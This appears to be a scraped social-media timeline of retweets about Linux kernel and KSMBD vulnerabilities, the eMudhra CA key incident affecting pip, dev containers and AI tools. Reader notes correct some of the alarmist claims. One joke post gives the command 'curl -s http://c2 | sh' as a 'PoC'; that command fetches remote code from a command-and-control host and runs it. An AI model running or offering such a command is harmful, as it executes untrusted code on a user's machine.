| Engineering | Previously Finance | Previously Physics
Ad Abyssum, Ut Ad Astra Eamus
Joined January 2009
- Tweets25.4K
- Following856
- Followers1.3K
- Likes4.6K
pystar retweeted
🚨 PSA for anyone running a Linux server, node, or relay
CVE-2026-98432 is a critical Linux kernel bug (CVSS 9.8). Someone on the internet can send crafted TCP packets and take over your machine. No login needed.
Ubuntu and Red Hat haven't shipped a fixed kernel yet. Debian, SUSE, Oracle and Amazon have.
What to do today:
1. Check your kernel: uname -r
Fixed versions: 6.1.190+, 6.6.159+, 6.12.113+, 6.18.56+, 7.2.10+ or 7.3+. Below that, you're exposed.
2. If your distro has a fix, update and reboot.
3. If not, block the attack. It needs TCP packets with "IP options," which normal traffic never uses. One nftables rule drops them. Log what gets dropped so you can see if someone's probing you.
4. Turn off MPTCP unless you need it:
sysctl -w net.mptcp.enabled=0
Programs built with Go 1.24+ use MPTCP automatically, and that's how the known exploit gets in.
5. Make it survive a reboot, and check it still works after one.
If you run a Bitcoin node, a Lightning node or a Nostr relay, your machine is on the internet by design. Do this today.
Self-hosting is freedom. Patching is part of the job. 🛡️
pystar retweeted
I keep telling this to every developer I know
if you run npm install on your bare macbook in 2026 you are waiting to be pwned
you need to develop inside a container
one bad vscode extension, one poisoned crate, and every credential on your machine is gone. that's not even paranoia anymore, it's just the baseline
apple/container spins up light linux vms on apple silicon
so I’ve updated my agent skill remote VMs setup and management to support local ones
use /remote-computer, create a local apple container for multi-language development
it sizes the VM to your CPU/RAM/disk, sets up key-only SSH on a host-only IP, no published ports, no home dir mount, and ports your git identity and commit signing. also works with AWS and GCP VMs
Sales Engineering and Verification Engineering didn't exist last year and might not exist next year.
Remember The Lindy Effect.
pystar retweeted
Today, I'm launching llmdojo.dev:
- The hands-on way to learn AI engineering: LLMs, RAG, agents, evals and inference.
- 50+ interactive labs. Tweak tokenizers, attention, embeddings and KV caches live.
- Train a neural network in your browser and watch it learn.
- Build agentic workflows with tool calls, memory, guardrails and bounded autonomy.
- Ship RAG that works: chunking, hybrid search, reranking, and LLM-as-a-judge evals.
- Production AI: model routing, fallbacks, quantization, caching and cost per request.
- 490+ interview questions, reported from OpenAI, Anthropic, Google, Meta, Amazon, Microsoft, Mistral and 50+ more.
- Every answer is cited from papers and books, or measured on real models.
Bugs from AI slop code will become "features."
We'll just learn to live with them, like an amputee adapting to a missing limb.
pystar retweeted
🚨New 0day inbound, curl2shell🚨
Can compromise any Linux host. Potentially 70% of the internet is affected.
Tweet-able PoC:
𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑
Can’t be patched
pystar retweeted
🚨 انتهت اللعبة! إنفيديا تقتل الـ PC التقليدي وتعلن رسمياً وفاة 30 سنة من معمارية الحاسوب! 🪦💻
وداعاً لزمن المعالج المنفصل، كروت الشاشة الضخمة، والحرارة العالية.. جنسن هوانغ دمر المعايير القديمة بشريحة واحدة: RTX Spark!
ما الذي جرى للتو؟!
⚡️ معجزة السيليكون: CPU و GPU و RAM على شريحة واحدة بتقنية 3nm ومعمارية ARM!
⚡️ قوة خارقة: 1 Petaflop معالجة ذكاء اصطناعي محلي داخل جهاز بنحافة (14mm) فقط!
⚡️ أداء ألعاب خيالي: +100 FPS على ألعاب AAA بدقة 1440p على البطارية وبدون أي هبوط في الأداء (Zero Throttling)!
الضربة الموجعة لعمالقة السحاب:
تشغيل نماذج AI ضخمة (120B Parameter) محلياً على جهازك 100%!
🚫 لا سيرفرات
🚫 لا اشتراكات شهريّة
🚫 ولا حاجة حتى للإنترنت!
وكيلك الذكي (AI Agent) بات يعيش داخل لابتوبك وتحت سيطرتك المطلقة. لقد دخلنا رسمياً عصر "محطات الذكاء الاصطناعي الشخصية"! 🚀
🔄احفظ التغريدة و انشرها لتوقظ أصحاب الكمبيوترات التقليدية قبل فوات الأوان! 🧵👇
Readers added context they thought people might want to know
RTX Spark منصة NVIDIA جديدة للابتوبات النحيفة والديسكتوبات المدمجة بنظام ويندوز (SoC متكامل CPU+GPU+ذاكرة موحدة)، لكنها لا تقتل الحواسيب التقليدية ولا تعلن وفاة معماريتها؛ NVIDIA أوضحت أنها فئة جديدة لا تستبدل أجهزة x86 ذات المكونات المنفصلة.
nvidianews.nvidia.com/news/nvidia-rt…
pcguide.com/news/nvidia-sa…
nvidia.com/en-us/products…
pystar retweeted
You've never seen 🐍Python like this, trust me :)
I've built an interactive 3D explorer of Python's parser & compiler pipeline. If you ever wanted to look under the hood and understand how Python actually works this is your chance.
Thread🧵
pystar retweeted
🚨 BREAKING: LINUX IS NOW FACING TWO CRITICAL SECURITY VULNERABILITIES, AND THERE ARE NO OFFICIAL KERNEL FIXES YET.
Both rated 9.0/10 in severity.
One could allow hackers to take control of vulnerable servers WITHOUT EVEN LOGGING IN.
And the most alarming part? The flaws were made PUBLIC before patches were ready.
Here's what's happening:
→ TWO CRITICAL RCE FLAWS: Both affect KSMBD, Linux's built-in SMB file server.
→ NO PASSWORD REQUIRED: One vulnerability could allow unauthenticated attackers to execute malicious code on vulnerable servers.
→ KERNEL-LEVEL ACCESS: Successful exploitation could potentially give attackers control within the Linux kernel itself.
→ NO MAINLINE PATCH YET: Both vulnerabilities were publicly disclosed before official kernel fixes were available.
→ DISCOVERED BY AI: Trend Micro's AI-powered security scanner identified the flaws.
→ SERVERS AT RISK: Linux systems running the vulnerable KSMBD service need immediate attention, especially if port 445 is exposed.
First PHP. Then Node.js. Then GitLab. Then Python.
NOW LINUX.
And this time, the vulnerabilities are PUBLIC before the fixes are ready.
If you manage Linux servers, CHECK YOUR EXPOSURE NOW.
🚨 BREAKING: IT JUST KEEPS GETTING WORSE. NOW PYTHON IS FACING A MASSIVE SECURITY EMERGENCY.
Python's security team has issued an URGENT warning after a certificate authority compromise put Python's HTTPS security at risk.
→ 8 CERTIFICATE AUTHORITY KEYS COMPROMISED. Some were so weak they could be cracked almost INSTANTLY.
→ FAKE TRUSTED WEBSITES: Attackers could potentially impersonate Python.org, PyPI and other websites during intercepted connections.
→ MALICIOUS DOWNLOADS: Vulnerable environments could be tricked into downloading software from attacker-controlled servers.
→ YOUR OS PATCH MAY NOT PROTECT YOU: Older versions of pip can STILL trust compromised certificates even after system updates.
→ EMERGENCY UPDATES: Python developers are being told to immediately update pip, certifi, uv and other affected tools.
→ DOCKER USERS AT RISK: Existing container images may retain vulnerable certificate stores and need rebuilding.
First PHP. Then Node.js. Then GitLab. Then LiteLLM.
NOW PYTHON.
The very systems developers rely on to establish TRUST online are becoming the attack surface.
If you use Python, PATCH NOW.
Readers added context they thought people might want to know
The Python certifi/pip details match the real eMudhra CA incident, but PHP, GitLab and LiteLLM involved unrelated software bugs, platform flaws and supply chain malware—not CA key compromises like this (Node.js patched concurrently for the same CA issue).
discuss.python.org/t/information-…
emudhra.we-have-a-problem.com
github.com/advisories/GHS…
docs.litellm.ai/blog/security-…
snyk.io/blog/php-patch…
Readers added context they thought people might want to know
KSMBD is a rarely used optional in-kernel SMB server distinct from the common Samba implementation; it is not enabled or shipped by default on major distributions like RHEL, and the flaws affect only systems explicitly running it with port 445 exposed.
thehackernews.com/2026/10/two-cv…
threatlandscape.io/blog/ksmbd-zdi…
"This eMudhra / emSign certificate issue + LLMs being used as an attack vector == Feeding frenzy for bad actors.
The SNAFU will be televised."
pystar retweeted
In response to the eMudhra / emSign certificate security incident we've published guidance for Python users to update CA certificates: discuss.python.org/t/informa…
#security #Python #pki
discuss.python.org/t/informa…
🔊🔊🔊
🚨🚨🚨 ALERTE SÉCURITÉ MAXIMALE ! Python est compromis.
🔸 Mettez immédiatement pip à la version 26.2.2 ou plus.
🔸 Dans chaque projet Python (chaque venv) : python -m pip install --upgrade pip
🔸 uv : uv self update (0.13.4 ou plus)
🔸 Mettez aussi à jour les certificats du système (apt / dnf upgrade ca-certificates) et vos images Docker
pip install est compromis.
L'autorité indienne eMudhra (emSign), qui signe les « passeports » prouvant qu'un site est bien celui qu'il prétend être, utilisait des clés secrètes ridiculement faibles : 8 clés, toutes inférieures à 256. L'une valait 4. Autrement dit, n'importe qui peut fabriquer un faux passeport valide pour n'importe quel site.
Le risque pour Python : quelqu'un sur ton réseau (wifi public, FAI, État) se fait passer pour pypi.org, et ton « pip install » télécharge un paquet piégé sans aucune alerte. Aucune attaque n'a été signalée pour l'instant, mais c'est trivial à faire.
Un paquet piégé peut installer n'importe quoi. Porte dérobée, virus, vol d'informations en tout genre.
La situation est terrifiante !
Rien que dans l'écosystème Python, chaque installation de CPython, chaque venv, uv, tout est exposé.
Et je ne vous parle même pas de npm, pnpm, yarn, Go, Rust.
Ma stratégie de sécurité 2026 : rester chez moi et ne me connecter à Internet que depuis un FAI de confiance.
C'est quand il y a de la mer qu'on reconnaît les vrais marins...
Readers added context they thought people might want to know
Ce n'est pas un bug Python mais une vulnérabilité des clés privées faibles des certificats intermédiaires eMudhra/emSign (d<256 dont une valant 4), exposant les bundles certifi/pip à des MITM TLS potentiels jusqu'aux mises à jour.
discuss.python.org/t/information-…
emudhra.we-have-a-problem.com
scotthelme.co.uk/eight-bits-of-…
github.com/advisories/GHS…
😨⚠️☢️🙀⚡😧🚨☣️☠️
I read this and I'm terrified, the situation seems intractable.
In the python ecosystem alone every cpython install, venv, UV is at risk.
Don't get my started on npm, pnpm, yarn, go, rust.
My current 2026 security posture: stay home and only connect to the internet from a trusted ISP.
The winter is coming.
discuss.python.org/t/informa…
pystar retweeted
webmcpisnotmcp.com good one! 😁
Courtesy of @nartmadi !
